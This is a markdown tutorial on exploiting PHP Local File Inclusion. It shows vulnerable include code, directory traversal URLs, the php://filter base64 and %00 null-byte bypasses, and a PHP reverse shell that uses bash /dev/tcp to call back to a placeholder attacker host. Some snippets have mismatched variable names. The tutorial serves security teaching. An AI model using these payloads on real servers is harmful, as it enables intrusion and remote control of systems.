|
|
|
# Local File Inclusion:
|
|
|
|
Local File Inclusion exploits are some of the easiest and most effective webapp exploits to run. They are simple to discover, simple to exploit, and can be devastating when successful.
|
|
|
|
|
|
|
|
## Basics:
|
|
|
|
We'll start out as simple as possible with a basic PHP webserver that takes input from an HTTP request and then loads it onto the page. We have our webserver running at `192.168.0.2`.
|
|
|
|
```php
|
|
|
|
$file = $_GET['filename'];
|
|
|
|
|
|
|
|
require('var/www/' . $filename);
|
|
|
|
```
|
|
|
|
|
|
|
|
The purpose of this PHP script is to allow us to navigate via URL parameters to a webpage. For example if we were to pass the URL `http://192.168.0.2/?filename=home.php` the server would take that URL parameter and then include that PHP file to the webpage if it exists. With no further checking on the includes we can do some basic LFI exploitation.
|
|
|
|
|
|
|
|
### Directory Traversal:
|
|
|
|
Similar to how we navigate in our shells we can navigate around the box the webserver is being hosted on. If for instance we passed the url `http://192.168.0.2/?filename=../../../../.profile` and we happened to provide the correct directory path the server would include this file onto the web page for us to view.
|
|
|
|
|
|
|
|
### Bypassing Restrictions:
|
|
|
|
Sadly LFI is never that easy, there are restrictions that can be put in place by the server to prevent inclusions like this.
|
|
|
|
|
|
|
|
```php
|
|
|
|
//include() instead of require()
|
|
|
|
$file = $_GET['filename'];
|
|
|
|
|
|
|
|
include($filename);
|
|
|
|
```
|
|
|
|
If the webserver is using the `include()` statement instead of `require()` we will need to bypass the PHP execution statement. With the `include()` function instead of just throwing the PHP source file onto the webpage the webserver will attempt to evaluate the source code preventing us from reading files. We can get around this by using PHP execution filters. The most common filter is the `base64-encode` filter. `http://192.168.0.2/?filename=php://filter/convert.base64-encode/resource=ourfile.php` will tell the server to include the PHP file on the server as normal, but encode everything in base64 before it is included onto the server. This prevents the webserver from evaluating the file and will give us the raw source code encoded in base64.
|
|
|
|
|
|
|
|
The server could have another restriction of hard appending a file extension onto the file before it is included on the webpage.
|
|
|
|
```php
|
|
|
|
$file = $_GET['filename'];
|
|
|
|
include($filename . 'txt');
|
|
|
|
```
|
|
|
|
Will include the file the same as previously before with the `include()` function, but no matter what we pass it will append `.txt` to the file before it is included onto the webppage. With the same URL as before `http://192.168.0.2/?filename=php://filter/convert.base64-encode/resource=ourfile.php` the server will attempt to include a file named `ourfile.php.txt` and encode it in base64 on the page. Obviously this will return with a file not found error. A simple way we can bypass this type of check is with PHP null character encodings. On older versions of PHP if we add the character string `%00` to the end of a request PHP will read up until the null character and then halt evaluation afterwards. So now with out URL `http://192.168.0.2/?filename=php://filter/convert.base64-encode/resource=ourfile.php%00` the server will attempt to include `ourfile.php%00.txt` but will halt evaluation at the null character giving us `ourfile.php`
|
|
|
|
|
|
|
|
### Shell Code Inclusion:
|
|
|
|
Say for example you are pentesting a webapp and you were able to successfully load a simple PHP reverse shell onto the webserver (this could be done via image uploads, file uploads, etc). If you know the path the webapp uploads images to you can have the server run this code for you to spawn a shell.
|
|
|
|
```php
|
|
|
|
<?php
|
|
|
|
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacking_port 0>&1'");
|
|
|
|
?>
|
|
|
|
```
|
|
|
|
We'll assume this simple PHP shell has been uploaded to the server, and that the server is providing no checks on MIME type or file extension. We could have a listener on our end and invoke this code on the webserver by running `http://192.168.0.2/?filename=images/user_uploads/ourscript.php`. |
|
|
|
\ No newline at end of file |